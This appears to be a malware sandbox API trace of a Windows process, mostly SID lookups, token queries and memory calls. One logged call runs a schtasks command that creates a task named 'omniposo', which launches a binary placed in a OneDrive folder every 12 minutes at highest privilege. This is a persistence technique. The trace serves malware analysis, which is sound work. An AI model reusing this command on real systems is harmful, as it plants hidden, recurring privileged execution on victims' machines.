[0141.127] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2ae2c0 [0141.127] _ultow (in: _Dest=0xfbc24a41, _Radix=15190464 | out: _Dest=0xfbc24a41) returned="4223814209" [0141.127] malloc (_Size=0x18) returned 0x2aefc0 [0141.127] malloc (_Size=0x18) returned 0x2af0c0 [0141.127] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0141.127] SysStringLen (param_1="-") returned 0x1 [0141.128] memcpy (in: _Dst=0x1175e8, _Src=0x118218, _Size=0x28 | out: _Dst=0x1175e8) returned 0x1175e8 [0141.128] memcpy (in: _Dst=0x11760e, _Src=0x161798, _Size=0x4 | out: _Dst=0x11760e) returned 0x11760e [0141.128] free (_Block=0x2af000) [0141.128] free (_Block=0x2aefc0) [0141.128] malloc (_Size=0x18) returned 0x2aefc0 [0141.128] malloc (_Size=0x18) returned 0x2af000 [0141.128] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0141.128] SysStringLen (param_1="4223814209") returned 0xa [0141.128] memcpy (in: _Dst=0x12db38, _Src=0x1175e8, _Size=0x2a | out: _Dst=0x12db38) returned 0x12db38 [0141.128] memcpy (in: _Dst=0x12db60, _Src=0x161798, _Size=0x16 | out: _Dst=0x12db60) returned 0x12db60 [0141.128] free (_Block=0x2af0c0) [0141.128] free (_Block=0x2aefc0) [0141.128] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2ae2c4 [0141.128] _ultow (in: _Dest=0xe49636b4, _Radix=15190464 | out: _Dest=0xe49636b4) returned="3835049652" [0141.128] malloc (_Size=0x18) returned 0x2aefc0 [0141.128] malloc (_Size=0x18) returned 0x2af0c0 [0141.128] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0141.128] SysStringLen (param_1="-") returned 0x1 [0141.128] memcpy (in: _Dst=0x12d808, _Src=0x12db38, _Size=0x3e | out: _Dst=0x12d808) returned 0x12d808 [0141.128] memcpy (in: _Dst=0x12d844, _Src=0x161798, _Size=0x4 | out: _Dst=0x12d844) returned 0x12d844 [0141.128] free (_Block=0x2af000) [0141.129] free (_Block=0x2aefc0) [0141.129] malloc (_Size=0x18) returned 0x2aefc0 [0141.129] malloc (_Size=0x18) returned 0x2af000 [0141.129] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0141.129] SysStringLen (param_1="3835049652") returned 0xa [0141.129] memcpy (in: _Dst=0x12db38, _Src=0x12d808, _Size=0x40 | out: _Dst=0x12db38) returned 0x12db38 [0141.129] memcpy (in: _Dst=0x12db76, _Src=0x161798, _Size=0x16 | out: _Dst=0x12db76) returned 0x12db76 [0141.129] free (_Block=0x2af0c0) [0141.129] free (_Block=0x2aefc0) [0141.129] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2ae2c8 [0141.129] _ultow (in: _Dest=0x3e8, _Radix=15190464 | out: _Dest=0x3e8) returned="1000" [0141.129] malloc (_Size=0x18) returned 0x2aefc0 [0141.129] malloc (_Size=0x18) returned 0x2af0c0 [0141.129] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0141.129] SysStringLen (param_1="-") returned 0x1 [0141.129] memcpy (in: _Dst=0x12d808, _Src=0x12db38, _Size=0x54 | out: _Dst=0x12d808) returned 0x12d808 [0141.129] memcpy (in: _Dst=0x12d85a, _Src=0x161798, _Size=0x4 | out: _Dst=0x12d85a) returned 0x12d85a [0141.129] free (_Block=0x2af000) [0141.129] free (_Block=0x2aefc0) [0141.129] malloc (_Size=0x18) returned 0x2aefc0 [0141.130] malloc (_Size=0x18) returned 0x2af000 [0141.130] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0141.130] SysStringLen (param_1="1000") returned 0x4 [0141.130] memcpy (in: _Dst=0x12db38, _Src=0x12d808, _Size=0x56 | out: _Dst=0x12db38) returned 0x12db38 [0141.130] memcpy (in: _Dst=0x12db8c, _Src=0x161798, _Size=0xa | out: _Dst=0x12db8c) returned 0x12db8c [0141.130] free (_Block=0x2af0c0) [0141.130] free (_Block=0x2aefc0) [0141.130] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0141.130] malloc (_Size=0x5e) returned 0x2b08a0 [0141.130] free (_Block=0x2af000) [0141.130] malloc (_Size=0x18) returned 0x2af000 [0141.130] free (_Block=0x2b08a0) [0141.130] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 0 [0141.131] GetLastError () returned 0x7a [0141.131] malloc (_Size=0x14) returned 0x2aefc0 [0141.131] malloc (_Size=0x16) returned 0x2af0c0 [0141.131] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2aefc0, cchName=0xe7ca84, ReferencedDomainName=0x2af0c0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name="kEecfMwgj", cchName=0xe7ca84, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 1 [0141.132] malloc (_Size=0x18) returned 0x2aefa0 [0141.132] malloc (_Size=0x18) returned 0x2aef80 [0141.132] free (_Block=0x2aefc0) [0141.132] free (_Block=0x2af0c0) [0141.132] free (_Block=0x2affa0) [0141.132] free (_Block=0x2aef80) [0141.132] free (_Block=0x2aefa0) [0141.132] free (_Block=0x2af000) [0141.133] free (_Block=0x2ae2a0) [0141.133] GetVersionExW (in: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa746, dwMinorVersion=0x109fb0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0141.133] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cbf8 | out: TokenInformation=0x0, ReturnLength=0xe7cbf8) returned 0 [0141.133] GetLastError () returned 0x7a [0141.133] malloc (_Size=0x2c) returned 0x2ae2e0 [0141.133] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0x2ae2e0, TokenInformationLength=0x2c, ReturnLength=0xe7cbf8 | out: TokenInformation=0x2ae2e0, ReturnLength=0xe7cbf8) returned 1 [0141.133] IsValidSid (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0141.133] GetLengthSid (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0141.133] malloc (_Size=0x1c) returned 0x2affa0 [0141.133] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2affa0, pSourceSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2affa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0141.133] GetSidIdentifierAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2f2 [0141.133] malloc (_Size=0x18) returned 0x2af000 [0141.134] _ultow (in: _Dest=0x5, _Radix=15190480 | out: _Dest=0x5) returned="5" [0141.134] malloc (_Size=0x18) returned 0x2aefa0 [0141.134] malloc (_Size=0x18) returned 0x2aef80 [0141.134] SysStringLen (param_1="S-1-") returned 0x4 [0141.134] SysStringLen (param_1="5") returned 0x1 [0141.134] memcpy (in: _Dst=0x1618e8, _Src=0x161948, _Size=0xa | out: _Dst=0x1618e8) returned 0x1618e8 [0141.134] memcpy (in: _Dst=0x1618f0, _Src=0x161798, _Size=0x4 | out: _Dst=0x1618f0) returned 0x1618f0 [0141.134] free (_Block=0x2af000) [0141.134] free (_Block=0x2aefa0) [0141.134] GetSidSubAuthorityCount (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2f1 [0141.134] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2ae2f8 [0141.134] _ultow (in: _Dest=0x15, _Radix=15190480 | out: _Dest=0x15) returned="21" [0141.134] malloc (_Size=0x18) returned 0x2aefa0 [0141.134] malloc (_Size=0x18) returned 0x2af000 [0141.134] SysStringLen (param_1="S-1-5") returned 0x5 [0141.134] SysStringLen (param_1="-") returned 0x1 [0141.134] memcpy (in: _Dst=0x161798, _Src=0x1618e8, _Size=0xc | out: _Dst=0x161798) returned 0x161798 [0141.134] memcpy (in: _Dst=0x1617a2, _Src=0x161948, _Size=0x4 | out: _Dst=0x1617a2) returned 0x1617a2 [0141.134] free (_Block=0x2aef80) [0141.134] free (_Block=0x2aefa0) [0141.134] malloc (_Size=0x18) returned 0x2aefa0 [0141.134] malloc (_Size=0x18) returned 0x2aef80 [0141.135] SysStringLen (param_1="S-1-5-") returned 0x6 [0141.135] SysStringLen (param_1="21") returned 0x2 [0141.135] memcpy (in: _Dst=0x161948, _Src=0x161798, _Size=0xe | out: _Dst=0x161948) returned 0x161948 [0141.135] memcpy (in: _Dst=0x161954, _Src=0x1618e8, _Size=0x6 | out: _Dst=0x161954) returned 0x161954 [0141.135] free (_Block=0x2af000) [0141.135] free (_Block=0x2aefa0) [0141.135] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2ae2fc [0141.135] _ultow (in: _Dest=0xfb7f942f, _Radix=15190480 | out: _Dest=0xfb7f942f) returned="4219442223" [0141.135] malloc (_Size=0x18) returned 0x2aefa0 [0141.135] malloc (_Size=0x18) returned 0x2af000 [0141.135] SysStringLen (param_1="S-1-5-21") returned 0x8 [0141.135] SysStringLen (param_1="-") returned 0x1 [0141.135] memcpy (in: _Dst=0x1618e8, _Src=0x161948, _Size=0x12 | out: _Dst=0x1618e8) returned 0x1618e8 [0141.135] memcpy (in: _Dst=0x1618f8, _Src=0x161798, _Size=0x4 | out: _Dst=0x1618f8) returned 0x1618f8 [0141.135] free (_Block=0x2aef80) [0141.135] free (_Block=0x2aefa0) [0141.135] malloc (_Size=0x18) returned 0x2aefa0 [0141.135] malloc (_Size=0x18) returned 0x2aef80 [0141.135] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0141.135] SysStringLen (param_1="4219442223") returned 0xa [0141.135] memcpy (in: _Dst=0x118218, _Src=0x1618e8, _Size=0x14 | out: _Dst=0x118218) returned 0x118218 [0141.135] memcpy (in: _Dst=0x11822a, _Src=0x161948, _Size=0x16 | out: _Dst=0x11822a) returned 0x11822a [0141.136] free (_Block=0x2af000) [0141.136] free (_Block=0x2aefa0) [0141.136] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2ae300 [0141.136] _ultow (in: _Dest=0xfbc24a41, _Radix=15190480 | out: _Dest=0xfbc24a41) returned="4223814209" [0141.136] malloc (_Size=0x18) returned 0x2aefa0 [0141.136] malloc (_Size=0x18) returned 0x2af000 [0141.136] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0141.136] SysStringLen (param_1="-") returned 0x1 [0141.136] memcpy (in: _Dst=0x1175e8, _Src=0x118218, _Size=0x28 | out: _Dst=0x1175e8) returned 0x1175e8 [0141.136] memcpy (in: _Dst=0x11760e, _Src=0x1618e8, _Size=0x4 | out: _Dst=0x11760e) returned 0x11760e [0141.136] free (_Block=0x2aef80) [0141.136] free (_Block=0x2aefa0) [0141.136] malloc (_Size=0x18) returned 0x2aefa0 [0141.136] malloc (_Size=0x18) returned 0x2aef80 [0141.136] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0141.136] SysStringLen (param_1="4223814209") returned 0xa [0141.136] memcpy (in: _Dst=0x12d808, _Src=0x1175e8, _Size=0x2a | out: _Dst=0x12d808) returned 0x12d808 [0141.136] memcpy (in: _Dst=0x12d830, _Src=0x1618e8, _Size=0x16 | out: _Dst=0x12d830) returned 0x12d830 [0141.137] free (_Block=0x2af000) [0141.137] free (_Block=0x2aefa0) [0141.137] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2ae304 [0141.137] _ultow (in: _Dest=0xe49636b4, _Radix=15190480 | out: _Dest=0xe49636b4) returned="3835049652" [0141.137] malloc (_Size=0x18) returned 0x2aefa0 [0141.137] malloc (_Size=0x18) returned 0x2af000 [0141.137] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0141.137] SysStringLen (param_1="-") returned 0x1 [0141.137] memcpy (in: _Dst=0x12db38, _Src=0x12d808, _Size=0x3e | out: _Dst=0x12db38) returned 0x12db38 [0141.137] memcpy (in: _Dst=0x12db74, _Src=0x1618e8, _Size=0x4 | out: _Dst=0x12db74) returned 0x12db74 [0141.137] free (_Block=0x2aef80) [0141.137] free (_Block=0x2aefa0) [0141.137] malloc (_Size=0x18) returned 0x2aefa0 [0141.137] malloc (_Size=0x18) returned 0x2aef80 [0141.137] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0141.137] SysStringLen (param_1="3835049652") returned 0xa [0141.137] memcpy (in: _Dst=0x12d808, _Src=0x12db38, _Size=0x40 | out: _Dst=0x12d808) returned 0x12d808 [0141.137] memcpy (in: _Dst=0x12d846, _Src=0x1618e8, _Size=0x16 | out: _Dst=0x12d846) returned 0x12d846 [0141.137] free (_Block=0x2af000) [0141.138] free (_Block=0x2aefa0) [0141.138] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2ae308 [0141.138] _ultow (in: _Dest=0x3e8, _Radix=15190480 | out: _Dest=0x3e8) returned="1000" [0141.138] malloc (_Size=0x18) returned 0x2aefa0 [0141.138] malloc (_Size=0x18) returned 0x2af000 [0141.138] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0141.138] SysStringLen (param_1="-") returned 0x1 [0141.138] memcpy (in: _Dst=0x12db38, _Src=0x12d808, _Size=0x54 | out: _Dst=0x12db38) returned 0x12db38 [0141.138] memcpy (in: _Dst=0x12db8a, _Src=0x1618e8, _Size=0x4 | out: _Dst=0x12db8a) returned 0x12db8a [0141.138] free (_Block=0x2aef80) [0141.138] free (_Block=0x2aefa0) [0141.138] malloc (_Size=0x18) returned 0x2aefa0 [0141.138] malloc (_Size=0x18) returned 0x2aef80 [0141.138] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0141.138] SysStringLen (param_1="1000") returned 0x4 [0141.138] memcpy (in: _Dst=0x12d808, _Src=0x12db38, _Size=0x56 | out: _Dst=0x12d808) returned 0x12d808 [0141.138] memcpy (in: _Dst=0x12d85c, _Src=0x1618e8, _Size=0xa | out: _Dst=0x12d85c) returned 0x12d85c [0141.138] free (_Block=0x2af000) [0141.138] free (_Block=0x2aefa0) [0141.139] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0141.139] malloc (_Size=0x5e) returned 0x2b08a0 [0141.139] free (_Block=0x2aef80) [0141.139] malloc (_Size=0x18) returned 0x2aef80 [0141.139] free (_Block=0x2b08a0) [0141.139] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 0 [0141.141] GetLastError () returned 0x7a [0141.141] malloc (_Size=0x14) returned 0x2aefa0 [0141.141] malloc (_Size=0x16) returned 0x2af000 [0141.141] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2aefa0, cchName=0xe7ca94, ReferencedDomainName=0x2af000, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name="kEecfMwgj", cchName=0xe7ca94, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 1 [0141.142] malloc (_Size=0x18) returned 0x2af0c0 [0141.142] malloc (_Size=0x18) returned 0x2aefc0 [0141.142] free (_Block=0x2aefa0) [0141.142] free (_Block=0x2af000) [0141.142] free (_Block=0x2affa0) [0141.142] free (_Block=0x2aefc0) [0141.143] free (_Block=0x2af0c0) [0141.143] free (_Block=0x2aef80) [0141.143] free (_Block=0x2ae2e0) [0141.143] malloc (_Size=0x48) returned 0x2ad270 [0141.143] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefc010000 [0141.149] GetProcAddress (hModule=0x7fefc010000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefc011080 [0141.149] GetProcAddress (hModule=0x7fefc010000, lpProcName="CreateEnvironmentBlock") returned 0x7fefc0110b0 [0141.149] malloc (_Size=0x18) returned 0x2aef80 [0141.149] CreateEnvironmentBlock () returned 0x1 [0141.186] memcpy (in: _Dst=0xe7cd00, _Src=0xe7dad0, _Size=0x68 | out: _Dst=0xe7cd00) returned 0xe7cd00 [0141.186] malloc (_Size=0x18) returned 0x2af0c0 [0141.186] CreateProcessAsUserW (in: hToken=0x238, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"omniposo\" /sc MINUTE /mo 12 /tr \"'C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x174df0, lpCurrentDirectory=0x0, lpStartupInfo=0xe7cd00*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xe7cba0 | out: lpCommandLine="schtasks.exe /create /tn \"omniposo\" /sc MINUTE /mo 12 /tr \"'C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'\" /rl HIGHEST /f", lpProcessInformation=0xe7cba0*(hProcess=0x2f8, hThread=0x248, dwProcessId=0xfc4, dwThreadId=0xfc8)) returned 1 [0141.191] CloseHandle (hObject=0x2f8) returned 1 [0141.191] CloseHandle (hObject=0x248) returned 1 [0141.191] free (_Block=0x2af0c0) [0141.191] DestroyEnvironmentBlock () returned 0x1 [0141.191] malloc (_Size=0x48) returned 0x2ad3b0 [0141.191] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x22aa2c40, dwHighDateTime=0x1d8a92a)) [0141.191] SetEvent (hEvent=0x1f0) returned 1 [0141.203] CloseHandle (hObject=0x234) returned 1 [0141.203] CloseHandle (hObject=0x238) returned 1 [0141.305] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x4) returned 0xfd950 [0141.305] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0xfd950, pulNumLanguages=0xe7e2b0 | out: pulNumLanguages=0xe7e2b0) returned 1 [0141.306] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd950 | out: hHeap=0xc0000) returned 1 [0142.083] SetLastError (dwErrCode=0x0) [0142.083] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0142.083] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd960 [0142.083] SetLastError (dwErrCode=0x0) [0142.083] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd960, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd960, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0142.083] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd950 [0142.083] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd960 | out: hHeap=0xc0000) returned 1 [0142.083] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x14) returned 0x12f3c0 [0142.083] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x12f3c0, pulNumLanguages=0xe7e2b8 | out: pulNumLanguages=0xe7e2b8) returned 1 [0142.083] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x12f3c0 | out: hHeap=0xc0000) returned 1 [0142.085] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0142.085] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0142.086] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0142.086] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0142.086] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0142.086] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0142.086] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0142.088] memcpy (in: _Dst=0xe7dad0, _Src=0xe7da50, _Size=0x68 | out: _Dst=0xe7dad0) returned 0xe7dad0 [0142.088] GetCurrentThread () returned 0xfffffffffffffffe [0142.088] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xe7cc40 | out: TokenHandle=0xe7cc40*=0x244) returned 1 [0142.088] malloc (_Size=0xd8) returned 0x2b8790 [0142.088] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7fefe7b0000 [0142.089] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7fefe7f8200 [0142.089] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaQueryInformationPolicy") returned 0x7fefe7d20b0 [0142.089] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaNtStatusToWinError") returned 0x7fefe7f7e40 [0142.089] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaFreeMemory") returned 0x7fefe7be390 [0142.089] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaOpenPolicy") returned 0x7fefe7d0b40 [0142.089] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaClose") returned 0x7fefe7d2040 [0142.090] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="QueryServiceStatusEx") returned 0x7fefe7b7004 [0142.090] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DuplicateTokenEx") returned 0x7fefe7bd310 [0142.090] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetSecurityDescriptorControl") returned 0x7fefe7d3fe4 [0142.090] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7fefe7eb828 [0142.090] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7fefe7bf924 [0142.090] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="CheckTokenMembership") returned 0x7fefe7bd980 [0142.091] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7fefe7eba94 [0142.091] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7fefe7eba30 [0142.091] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAuditAccessObjectAce") returned 0x7fefe7eb9a8 [0142.091] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoW") returned 0x7fefe7b89a0 [0142.091] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetNamedSecurityInfoW") returned 0x7fefe7bf990 [0142.091] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7fefe80dc00 [0142.092] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7fefe7f56a0 [0142.092] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7fefe7f56f0 [0142.092] malloc (_Size=0x18) returned 0x2aef80 [0142.092] DuplicateTokenEx (in: hExistingToken=0x244, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xe7cc48 | out: phNewToken=0xe7cc48*=0x2d0) returned 1 [0142.092] malloc (_Size=0x48) returned 0x2ad3b0 [0142.092] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x2331daa0, dwHighDateTime=0x1d8a92a)) 